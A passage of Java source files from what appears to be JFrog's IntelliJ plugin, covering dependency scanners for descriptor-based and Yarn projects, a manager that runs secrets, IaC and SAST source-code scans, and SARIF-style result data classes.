true; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/SingleDescriptorScanner.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.DescriptorFileTreeNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.DependencyTree; import java.util.*; import java.util.concurrent.CopyOnWriteArrayList; import java.util.concurrent.ExecutorService; public abstract class SingleDescriptorScanner extends ScannerBase { protected String descriptorFilePath; /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree} * @param basePath project base path * @param prefix components prefix for xray scan, e.g. gav:// or npm:// * @param executor an executor that should limit the number of running tasks to 3 * @param descriptorFilePath path to the project's descriptor file * @param scanLogic the scan logic to use */ SingleDescriptorScanner(@NotNull Project project, String basePath, ComponentPrefix prefix, ExecutorService executor, String descriptorFilePath, ScanLogic scanLogic) { super(project, basePath, prefix, executor, scanLogic); this.descriptorFilePath = descriptorFilePath; } /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree} * @param basePath project base path * @param prefix components prefix for xray scan, e.g. gav:// or npm:// * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ SingleDescriptorScanner(@NotNull Project project, String basePath, ComponentPrefix prefix, ExecutorService executor, ScanLogic scanLogic) { this(project, basePath, prefix, executor, "", scanLogic); } /** * Groups a collection of {@link DependencyNode}s by the descriptor files of the modules that depend on them. * The returned DependencyNodes inside the {@link FileTreeNode}s are references of the ones in depScanResults. * * @param depScanResults collection of DependencyNodes * @param depTree the project's dependency tree * @param parents a map of components by their IDs and their parents in the dependency tree * @return a list of FileTreeNodes (that are all DescriptorFileTreeNodes) having the DependencyNodes as their children */ @Override protected List groupDependenciesToDescriptorNodes(Collection depScanResults, DepTree depTree, Map> parents) { DescriptorFileTreeNode fileTreeNode = new DescriptorFileTreeNode(descriptorFilePath); for (DependencyNode dependency : depScanResults) { dependency.setIndirect(!isDirectDependency(dependency, depTree, parents)); fileTreeNode.addDependency(dependency); } return new CopyOnWriteArrayList<>(List.of(fileTreeNode)); } private boolean isDirectDependency(DependencyNode dependency, DepTree depTree, Map> parents) { // Check if the component is the root node if (dependency.getComponentIdWithoutPrefix().equals(depTree.rootId())) { return true; } // Check if any of the parent's descriptor file path matches the current descriptor file path return parents.getOrDefault(dependency.getComponentIdWithoutPrefix(), Collections.emptySet()) .stream() .map(depTree.nodes()::get) .anyMatch(parent -> descriptorFilePath.equals(parent.getDescriptorFilePath())); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/SourceCodeScannerManager.java ================================================ package com.jfrog.ide.idea.scan; import com.fasterxml.jackson.databind.ObjectMapper; import com.intellij.openapi.progress.ProgressManager; import com.intellij.openapi.progress.Task; import com.intellij.openapi.project.DumbService; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.VulnerabilityNode; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.log.ProgressIndicatorImpl; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.scan.data.ScanConfig; import com.jfrog.ide.idea.scan.data.applications.JFrogApplicationsConfig; import com.jfrog.ide.idea.scan.data.applications.ModuleConfig; import com.jfrog.ide.idea.scan.data.applications.ScannerConfig; import com.jfrog.ide.idea.ui.LocalComponentsTree; import org.apache.commons.collections.CollectionUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.jetbrains.annotations.NotNull; import javax.swing.tree.TreeNode; import java.io.File; import java.io.IOException; import java.net.URISyntaxException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Enumeration; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.CountDownLatch; import java.util.concurrent.ExecutorService; import java.util.concurrent.atomic.AtomicBoolean; import java.util.regex.Matcher; import static com.jfrog.ide.common.log.Utils.logError; import static com.jfrog.ide.common.utils.Utils.createYAMLMapper; import static com.jfrog.ide.idea.scan.ScannerBase.createRunnable; import static com.jfrog.ide.idea.scan.data.applications.JFrogApplicationsConfig.createApplicationConfigWithDefaultModule; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.EXCLUSIONS_PREFIX; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.EXCLUSIONS_REGEX_PATTERN; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.EXCLUSIONS_SUFFIX; import static com.jfrog.ide.idea.utils.Utils.getProjectBasePath; import static org.apache.commons.lang3.StringUtils.defaultIfEmpty; public class SourceCodeScannerManager { private final Path jfrogApplictionsConfigPath; private final AtomicBoolean scanInProgress = new AtomicBoolean(false); private final ApplicabilityScannerExecutor applicability = new ApplicabilityScannerExecutor(Logger.getInstance()); private final Map scanners = initScannersCollection(); protected Project project; protected PackageManagerType packageType; private static final String SKIP_FOLDERS_SUFFIX = "*/**"; private com.intellij.openapi.progress.ProgressIndicator progressIndicator; public SourceCodeScannerManager(Project project) { this.project = project; this.jfrogApplictionsConfigPath = getProjectBasePath(project).resolve(".jfrog").resolve("jfrog-apps-config.yml"); } public SourceCodeScannerManager(Project project, PackageManagerType packageType) { this(project); this.packageType = packageType; } /** * Applicability source code scanning (Contextual Analysis). * * @param indicator the progress indicator. * @param fileTreeNodes collection of FileTreeNodes. * @return A list of FileTreeNodes having the source code issues as their children. */ public List applicabilityScan(ProgressIndicator indicator, Collection fileTreeNodes, Runnable checkCanceled) { if (project.isDisposed()) { return Collections.emptyList(); } // Prevent multiple simultaneous scans if (!scanInProgress.compareAndSet(false, true)) { return Collections.emptyList(); } List scanResults = new ArrayList<>(); Map> issuesMap = mapDirectIssuesByCve(fileTreeNodes); try { if (applicability.isPackageTypeSupported(packageType)) { indicator.setText("Running applicability scan"); indicator.setFraction(0.25); Set directIssuesCVEs = issuesMap.keySet(); // If no direct dependencies with issues are found by Xray, the applicability scan is irrelevant. if (!directIssuesCVEs.isEmpty()) { List applicabilityResults = applicability.execute(createBasicScannerInput().cves(List.copyOf(directIssuesCVEs)), checkCanceled, indicator); scanResults.addAll(applicabilityResults); } } } catch (InterruptedException e) { logError(Logger.getInstance(), "Scan canceled due to a user request or timeout.", false); } catch (IOException | NullPointerException e) { logError(Logger.getInstance(), "Failed to scan source code", e, true); } finally { scanInProgress.set(false); indicator.setFraction(1); } return applicability.createSpecificFileIssueNodes(scanResults, issuesMap); } /** * Launch async source code scans. */ void asyncScanAndUpdateResults(ExecutorService executor, Logger log) { // If intellij is still indexing the project, do not scan. if (DumbService.isDumb(project)) { return; } // The tasks run asynchronously. To make sure no more than 3 tasks are running concurrently, // we use a count-down latch that signals to that executor service that it can get more tasks. CountDownLatch latch = new CountDownLatch(1); Task.Backgroundable sourceCodeScanTask = new Task.Backgroundable(null, "Advanced source code scanning") { @Override public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) { if (project.isDisposed()) { return; } // Prevent multiple simultaneous scans if (!scanInProgress.compareAndSet(false, true)) { log.info("Advanced source code scan is already in progress"); return; } try { progressIndicator = indicator; sourceCodeScanAndUpdate(new ProgressIndicatorImpl(indicator), ProgressManager::checkCanceled, log); } catch (IOException e) { logError(Logger.getInstance(), "Failed to run advanced source code scanning.", e, true); } } @Override public void onFinished() { latch.countDown(); scanInProgress.set(false); } @Override public void onThrowable(@NotNull Throwable error) { log.error(ExceptionUtils.getRootCauseMessage(error)); } }; executor.submit(createRunnable(sourceCodeScanTask, latch, progressIndicator, log)); } public void stopScan() { if (progressIndicator != null) { progressIndicator.cancel(); } } private void sourceCodeScanAndUpdate(ProgressIndicator indicator, Runnable checkCanceled, Logger log) throws IOException { indicator.setText("Running advanced source code scanning"); JFrogApplicationsConfig projectConfig = parseJFrogApplicationsConfig(); for (ModuleConfig moduleConfig : projectConfig.getModules()) { scan(moduleConfig, indicator, checkCanceled, log); } } private void scan(ModuleConfig moduleConfig, ProgressIndicator indicator, Runnable checkCanceled, Logger log) { double fraction = 0; for (SourceCodeScanType scannerType : scanners.keySet()) { checkCanceled.run(); ScanBinaryExecutor scanner = scanners.get(scannerType); ScannerConfig scannerConfig = null; if (moduleConfig != null) { // Skip the scanner If requested. if (moduleConfig.getExcludeScanners() != null && moduleConfig.getExcludeScanners().contains(scannerType.toString().toLowerCase())) { log.debug(String.format("Skipping %s scanning", scannerType.toString().toLowerCase())); continue; } // Use specific scanner config if exists. if (moduleConfig.getScanners() != null) { scannerConfig = moduleConfig.getScanners().get(scannerType.toString().toLowerCase()); } } try { List scanResults = scanner.execute(createBasicScannerInput(moduleConfig, scannerConfig), checkCanceled, indicator); addSourceCodeScanResults(scanner.createSpecificFileIssueNodes(scanResults)); } catch (IOException | URISyntaxException | InterruptedException e) { logError(log, "", e, true); } fraction += 1.0 / scanners.size(); indicator.setFraction(fraction); } } private JFrogApplicationsConfig parseJFrogApplicationsConfig() throws IOException { ObjectMapper mapper = createYAMLMapper(); File config = jfrogApplictionsConfigPath.toFile(); if (config.exists()) { return mapper.readValue(config, JFrogApplicationsConfig.class); } return createApplicationConfigWithDefaultModule(project); } private void addSourceCodeScanResults(List fileTreeNodes) { if (fileTreeNodes.isEmpty()) { return; } LocalComponentsTree componentsTree = LocalComponentsTree.getInstance(project); componentsTree.addScanResults(fileTreeNodes); } private ScanConfig.Builder createBasicScannerInput() { String excludePattern = GlobalSettings.getInstance().getServerConfig().getExcludedPaths(); return new ScanConfig.Builder().roots(List.of(getProjectBasePath(project).toAbsolutePath().toString())).skippedFolders(convertToSkippedFolders(excludePattern)); } private ScanConfig.Builder createBasicScannerInput(ModuleConfig config, ScannerConfig scannerConfig) { if (config == null) { return createBasicScannerInput(); } // Scanner's working dirs (roots) List workingDirs = new ArrayList<>(); String projectBasePath = defaultIfEmpty(config.getSourceRoot(), getProjectBasePath(project).toAbsolutePath().toString()); if (scannerConfig != null && !CollectionUtils.isEmpty(scannerConfig.getWorkingDirs())) { for (String workingDir : scannerConfig.getWorkingDirs()) { workingDirs.add(Paths.get(projectBasePath).resolve(workingDir).toString()); } } else { // Default: ".", the application's root directory. workingDirs.add(projectBasePath); } // Module exclude patterns List skippedFolders = new ArrayList<>(); if (config.getExcludePatterns() != null) { skippedFolders.addAll(config.getExcludePatterns()); } if (scannerConfig != null && scannerConfig.getExcludePatterns() != null) { // Adds scanner specific exclude patterns if exists skippedFolders.addAll(scannerConfig.getExcludePatterns()); } String excludePattern = GlobalSettings.getInstance().getServerConfig().getExcludedPaths(); // If exclude patterns was not provided, use the configured IDE patterns. skippedFolders = skippedFolders.isEmpty() ? convertToSkippedFolders(excludePattern) : skippedFolders; // Extra scanners params List excludeRules = null; String language = null; if (scannerConfig != null) { excludeRules = scannerConfig.getExcludedRules(); language = scannerConfig.getLanguage(); } return new ScanConfig.Builder().roots(workingDirs).skippedFolders(skippedFolders).excludedRules(excludeRules).language(language); } /** * Splits the users' configured ExcludedPaths glob pattern to a list * of simplified patterns by avoiding the use of "{}". * * @return a list of equivalent patterns without the use of "{}" */ public static List convertToSkippedFolders(String excludePattern) { List skippedFoldersPatterns = new ArrayList<>(); if (StringUtils.isNotBlank(excludePattern)) { Matcher matcher = EXCLUSIONS_REGEX_PATTERN.matcher(excludePattern); if (!matcher.find()) { // Convert pattern form shape "**/*a*" to "**/*a*/**" return List.of(StringUtils.removeEnd(excludePattern, EXCLUSIONS_SUFFIX) + SKIP_FOLDERS_SUFFIX); } String[] dirsNames = matcher.group(1).split(","); for (String dirName : dirsNames) { skippedFoldersPatterns.add(EXCLUSIONS_PREFIX + dirName.strip() + SKIP_FOLDERS_SUFFIX); } } return skippedFoldersPatterns; } /** * Maps direct dependencies issues (vulnerabilities and security violations) by their CVE IDs. * Issues without a CVE ID are ignored. * * @param fileTreeNodes collection of FileTreeNodes. * @return a map of CVE IDs to lists of issues with them. */ private Map> mapDirectIssuesByCve(Collection fileTreeNodes) { Map> issues = new HashMap<>(); for (FileTreeNode fileTreeNode : fileTreeNodes) { for (TreeNode treeNode : fileTreeNode.getChildren()) { DependencyNode dep = (DependencyNode) treeNode; if (dep.isIndirect()) { continue; } Enumeration treeNodeEnumeration = dep.children(); while (treeNodeEnumeration.hasMoreElements()) { TreeNode node = treeNodeEnumeration.nextElement(); if (!(node instanceof VulnerabilityNode vulnerabilityNode)) { continue; } if (vulnerabilityNode.getCve() == null || StringUtils.isBlank(vulnerabilityNode.getCve().getCveId())) { continue; } String cveId = vulnerabilityNode.getCve().getCveId(); issues.putIfAbsent(cveId, new ArrayList<>()); issues.get(cveId).add(vulnerabilityNode); } } } return issues; } private Map initScannersCollection() { Map scanners = new HashMap<>(); scanners.put(SourceCodeScanType.SECRETS, new SecretsScannerExecutor(Logger.getInstance())); scanners.put(SourceCodeScanType.IAC, new IACScannerExecutor(Logger.getInstance())); scanners.put(SourceCodeScanType.SAST, new SastScannerExecutor(Logger.getInstance())); return scanners; } public boolean isScanInProgress() { return this.scanInProgress.get(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/YarnScanner.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.LocalFileSystem; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.util.EnvironmentUtil; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.DescriptorFileTreeNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.common.yarn.YarnTreeBuilder; import com.jfrog.ide.idea.inspections.AbstractInspection; import com.jfrog.ide.idea.inspections.YarnInspection; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import org.apache.commons.collections4.CollectionUtils; import org.apache.commons.lang3.StringUtils; import java.io.IOException; import java.nio.file.Paths; import java.util.*; import java.util.concurrent.CopyOnWriteArrayList; import java.util.concurrent.ExecutorService; /** * Created by Yahav Itzhak on 13 Dec 2017. */ public class YarnScanner extends SingleDescriptorScanner { private final YarnTreeBuilder yarnTreeBuilder; /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree}. * @param basePath the package.json directory * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ YarnScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) { super(project, basePath, ComponentPrefix.NPM, executor, Paths.get(basePath, "package.json").toString(), scanLogic); getLog().info("Found yarn project: " + getProjectPath()); yarnTreeBuilder = new YarnTreeBuilder(Paths.get(basePath), descriptorFilePath, EnvironmentUtil.getEnvironmentMap(), getLog()); } @Override protected DepTree buildTree() throws IOException { return yarnTreeBuilder.buildTree(); } @Override protected PsiFile[] getProjectDescriptors() { VirtualFile file = LocalFileSystem.getInstance().findFileByPath(descriptorFilePath); if (file == null) { return null; } PsiFile psiFile = PsiManager.getInstance(project).findFile(file); return new PsiFile[]{psiFile}; } @Override protected AbstractInspection getInspectionTool() { return new YarnInspection(); } @Override protected PackageManagerType getPackageManagerType() { return PackageManagerType.YARN; } /** * Builds a map of package name to versions out of a set of : Strings. * * @param packages - A set of packages in the format of 'package-name:version'. * @return - A map of package name to a set of versions. */ Map> getPackageNameToVersionsMap(Set packages) { Map> packageNameToVersions = new HashMap<>(); for (String fullNamePackage : CollectionUtils.emptyIfNull(packages)) { String[] packageSplit = StringUtils.split(fullNamePackage, ":"); if (packageSplit.length != 2) { this.getLog().error("Illegal package name: " + fullNamePackage + ". Skipping package, the dependency tree may be incomplete."); continue; } String packageName = packageSplit[0]; String packageVersion = packageSplit[1]; packageNameToVersions.putIfAbsent(packageName, new HashSet<>()); packageNameToVersions.get(packageName).add(packageVersion); } return packageNameToVersions; } private void buildImpactGraphFromPaths(DescriptorFileTreeNode descriptorNode, Map vulnerableDependencies, Map>> packageVersionsImpactPaths) { for (Map.Entry>> aPackageVersionImpactPaths : packageVersionsImpactPaths.entrySet()) { String packageFullName = aPackageVersionImpactPaths.getKey(); List> impactPaths = aPackageVersionImpactPaths.getValue(); DependencyNode dependencyNode = vulnerableDependencies.get(packageFullName); // build the impact graph for each vulnerable dependency out of its impact paths for (List impactPath : impactPaths) { ImpactTreeBuilder.addImpactPathToDependencyNode(dependencyNode, impactPath); } boolean direct = impactPaths.stream().map(List::size).anyMatch(size -> size == 2); dependencyNode.setIndirect(!direct); descriptorNode.addDependency(dependencyNode); } } /** * Builds the impact graph for each given vulnerable dependencies. * The impact graph is built by running 'yarn why ' command, making it different from other package managers. * * @param vulnerableDependencies - The vulnerable dependencies to build the impact graph for. * The key is the package name and version, and the value is the dependency node. * @param depTree - The whole dependency tree (not just vulnerable dependencies) that was generated earlier. * @return - The impact graph attached to package.json DescriptorFileTreeNode */ @Override protected List buildImpactGraph(Map vulnerableDependencies, DepTree depTree) throws IOException { DescriptorFileTreeNode descriptorNode = new DescriptorFileTreeNode(depTree.getRootNodeDescriptorFilePath()); // Build a map of package name to versions, to avoid running 'yarn why' multiple times for the same package. Map> packageNameToVersions = this.getPackageNameToVersionsMap(vulnerableDependencies.keySet()); for (Map.Entry> entry : packageNameToVersions.entrySet()) { // Find the impact paths for each package for all its vulnerable versions Map>> packageVersionsImpactPaths = yarnTreeBuilder.findDependencyImpactPaths(depTree.rootId(), entry.getKey(), entry.getValue()); // Build the impact graph for each vulnerable dependency out of its impact paths, set Indirect flag and add it to the descriptor node buildImpactGraphFromPaths(descriptorNode, vulnerableDependencies, packageVersionsImpactPaths); } // Return a list of one element - the descriptor node for package.json // COW list is used to avoid ConcurrentModificationException in SourceCodeScannerManager return new CopyOnWriteArrayList<>(Collections.singletonList(descriptorNode)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/AnalyzeSuppression.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import lombok.Setter; @Getter @Setter public class AnalyzeSuppression { @JsonProperty("kind") private String kind; } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/ArtifactLocation.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class ArtifactLocation { @JsonProperty("uri") private String uri; public String getUri() { return uri; } @SuppressWarnings("unused") public void setUri(String uri) { this.uri = uri; } @Override public int hashCode() { return Objects.hash(uri); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof ArtifactLocation)) { return false; } ArtifactLocation rhs = ((ArtifactLocation) other); return (Objects.equals(this.uri, rhs.uri)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/CodeFlow.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import org.apache.commons.collections4.CollectionUtils; import java.util.ArrayList; import java.util.List; import java.util.Objects; public class CodeFlow { @JsonProperty("threadFlows") private List threadFlows = new ArrayList<>(); @SuppressWarnings("unused") public List getThreadFlows() { return threadFlows; } @SuppressWarnings("unused") public void setThreadFlows(List threadFlows) { this.threadFlows = threadFlows; } @Override public int hashCode() { return Objects.hash(threadFlows); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof CodeFlow)) { return false; } CodeFlow rhs = ((CodeFlow) other); return (CollectionUtils.isEqualCollection(this.threadFlows, rhs.threadFlows)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Driver.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import org.apache.commons.collections4.CollectionUtils; import java.util.List; import java.util.Objects; public class Driver { @JsonProperty("name") private String name; @JsonProperty("rules") private List rules; public String getName() { return name; } public void setName(String name) { this.name = name; } @SuppressWarnings({"unused"}) public List getRules() { return rules; } @SuppressWarnings({"unused"}) public void setLocations( List rules) { this.rules = rules; } @Override public int hashCode() { return Objects.hash(name, rules); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Driver)) { return false; } Driver rhs = ((Driver) other); return (Objects.equals(this.name, rhs.name) && (CollectionUtils.isEqualCollection(this.rules, rhs.rules))); } public Rule getRuleById(String ruleId) throws IndexOutOfBoundsException { return rules.stream() .filter(rule -> rule.getId().equals(ruleId)) .findFirst() .orElseThrow(() -> new IndexOutOfBoundsException("Rule not found")); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Invocation.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.annotation.JsonPropertyOrder; import org.apache.commons.collections4.CollectionUtils; import java.util.ArrayList; import java.util.List; import java.util.Objects; @JsonPropertyOrder({"executionSuccessful", "arguments", "workingDirectory"}) public class Invocation { @JsonProperty("executionSuccessful") private Boolean executionSuccessful; @JsonProperty("arguments") private List arguments = new ArrayList<>(); @JsonProperty("workingDirectory") private WorkingDirectory workingDirectory; @SuppressWarnings("unused") public Boolean getExecutionSuccessful() { return executionSuccessful; } @SuppressWarnings("unused") public void setExecutionSuccessful(Boolean executionSuccessful) { this.executionSuccessful = executionSuccessful; } @SuppressWarnings("unused") public List getArguments() { return arguments; } @SuppressWarnings("unused") public void setArguments(List arguments) { this.arguments = arguments; } @SuppressWarnings("unused") public WorkingDirectory getWorkingDirectory() { return workingDirectory; } @SuppressWarnings("unused") public void setWorkingDirectory(WorkingDirectory workingDirectory) { this.workingDirectory = workingDirectory; } @Override public int hashCode() { return Objects.hash(arguments, executionSuccessful, workingDirectory); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Invocation)) { return false; } Invocation rhs = ((Invocation) other); return (((CollectionUtils.isEqualCollection(this.arguments, rhs.arguments)) && (Objects.equals(this.executionSuccessful, rhs.executionSuccessful))) && (Objects.equals(this.workingDirectory, rhs.workingDirectory))); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Location.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class Location { @JsonProperty("physicalLocation") private PhysicalLocation physicalLocation; public PhysicalLocation getPhysicalLocation() { return physicalLocation; } @SuppressWarnings("unused") public void setPhysicalLocation(PhysicalLocation physicalLocation) { this.physicalLocation = physicalLocation; } @Override public int hashCode() { return Objects.hash(physicalLocation); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Location)) { return false; } Location rhs = ((Location) other); return (Objects.equals(this.physicalLocation, rhs.physicalLocation)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Message.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class Message { @JsonProperty("text") private String text; @JsonProperty("markdown") private String markdown; public String getText() { return text; } public void setText(String text) { this.text = text; } @Override public int hashCode() { return Objects.hash(text); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Message)) { return false; } Message rhs = ((Message) other); return (Objects.equals(this.text, rhs.text)); } @SuppressWarnings({"unused"}) public String getMarkdown() { return markdown; } @SuppressWarnings({"unused"}) public void setMarkdown(String markdown) { this.markdown = markdown; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/NewScanConfig.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import java.util.List; @Getter @NoArgsConstructor @AllArgsConstructor public class NewScanConfig { @JsonProperty("type") private SourceCodeScanType scanType; @JsonProperty("roots") private List roots; @JsonProperty("language") private String language; @JsonProperty("output") private String output; @JsonProperty("exclude_patterns") private List excludePatterns; @JsonProperty("excluded-rules") private List excludedRules; public NewScanConfig(ScanConfig inputParams) { this(inputParams.getScanType(), inputParams.getRoots(), inputParams.getLanguage(), inputParams.getOutput(), inputParams.getSkippedFolders(), inputParams.getExcludedRules()); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/NewScansConfig.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import lombok.NoArgsConstructor; import java.util.List; @Getter @NoArgsConstructor public class NewScansConfig { @JsonProperty("scans") private List scans; public NewScansConfig(NewScanConfig scan) { this.scans = List.of(scan); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Output.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import org.apache.commons.collections4.CollectionUtils; import java.util.ArrayList; import java.util.List; import java.util.Objects; public class Output { @JsonProperty("runs") private List runs = new ArrayList<>(); @JsonProperty("version") private String version; public List getRuns() { return runs; } @SuppressWarnings("unused") public void setRuns(List runs) { this.runs = runs; } public String getVersion() { return version; } public void setVersion(String version) { this.version = version; } @Override public int hashCode() { return Objects.hash(runs, version); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Output)) { return false; } Output rhs = ((Output) other); return ((CollectionUtils.isEqualCollection(this.runs, rhs.runs))) && (Objects.equals(this.version, rhs.version)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/PackageManagerType.java ================================================ package com.jfrog.ide.idea.scan.data; import lombok.Getter; @Getter public enum PackageManagerType { PYPI("pypi"), NPM("npm"), YARN("yarn"), MAVEN("maven"), GRADLE("gradle"), GO("go"); private final String name; PackageManagerType(String name) { this.name = name; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/PhysicalLocation.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class PhysicalLocation { @JsonProperty("artifactLocation") private ArtifactLocation artifactLocation; @JsonProperty("region") private Region region; public ArtifactLocation getArtifactLocation() { return artifactLocation; } @SuppressWarnings("unused") public void setArtifactLocation(ArtifactLocation artifactLocation) { this.artifactLocation = artifactLocation; } public Region getRegion() { return region; } @SuppressWarnings("unused") public void setRegion(Region region) { this.region = region; } @Override public int hashCode() { return Objects.hash(region, artifactLocation); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof PhysicalLocation)) { return false; } PhysicalLocation rhs = ((PhysicalLocation) other); return ((Objects.equals(this.region, rhs.region)) && (Objects.equals(this.artifactLocation, rhs.artifactLocation))); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Region.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class Region { @JsonProperty("endColumn") private int endColumn; @JsonProperty("endLine") private int endLine; @JsonProperty("startColumn") private int startColumn; @JsonProperty("startLine") private int startLine; @JsonProperty("snippet") private Message snippet; public int getEndColumn() { return endColumn; } @SuppressWarnings("unused") public void setEndColumn(int endColumn) { this.endColumn = endColumn; } public int getEndLine() { return endLine; } @SuppressWarnings("unused") public void setEndLine(int endLine) { this.endLine = endLine; } public int getStartColumn() { return startColumn; } @SuppressWarnings("unused") public void setStartColumn(int startColumn) { this.startColumn = startColumn; } public int getStartLine() { return startLine; } @SuppressWarnings("unused") public void setStartLine(int startLine) { this.startLine = startLine; } public Message getSnippet() { return snippet; } @SuppressWarnings("unused") public void setSnippet(Message snippet) { this.snippet = snippet; } @Override public int hashCode() { return Objects.hash(endLine, endColumn, startColumn, startLine, snippet); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Region)) { return false; } Region rhs = ((Region) other); return ((((Objects.equals(this.endLine, rhs.endLine)) && (Objects.equals(this.endColumn, rhs.endColumn))) && (Objects.equals(this.startColumn, rhs.startColumn))) && (Objects.equals(this.startLine, rhs.startLine)) && (Objects.equals(this.snippet, rhs.snippet))); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Rule.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; import java.util.Optional; public class Rule { @JsonProperty("id") private String id; @JsonProperty("name") private String name; @JsonProperty("shortDescription") private Message shortDescription; @JsonProperty("fullDescription") private Message fullDescription; @JsonProperty("properties") private RuleProperties properties; public String getId() { return id; } public void setId(String id) { this.id = id; } @SuppressWarnings({"unused"}) public Message getShortDescription() { return shortDescription; } @SuppressWarnings({"unused"}) public void setShortDescription(Message shortDescription) { this.shortDescription = shortDescription; } @SuppressWarnings({"unused"}) public Message getFullDescription() { return fullDescription; } @SuppressWarnings({"unused"}) public void setFullDescription(Message fullDescription) { this.fullDescription = fullDescription; } public Optional getRuleProperties() { return Optional.ofNullable(properties); } @Override public int hashCode() { return 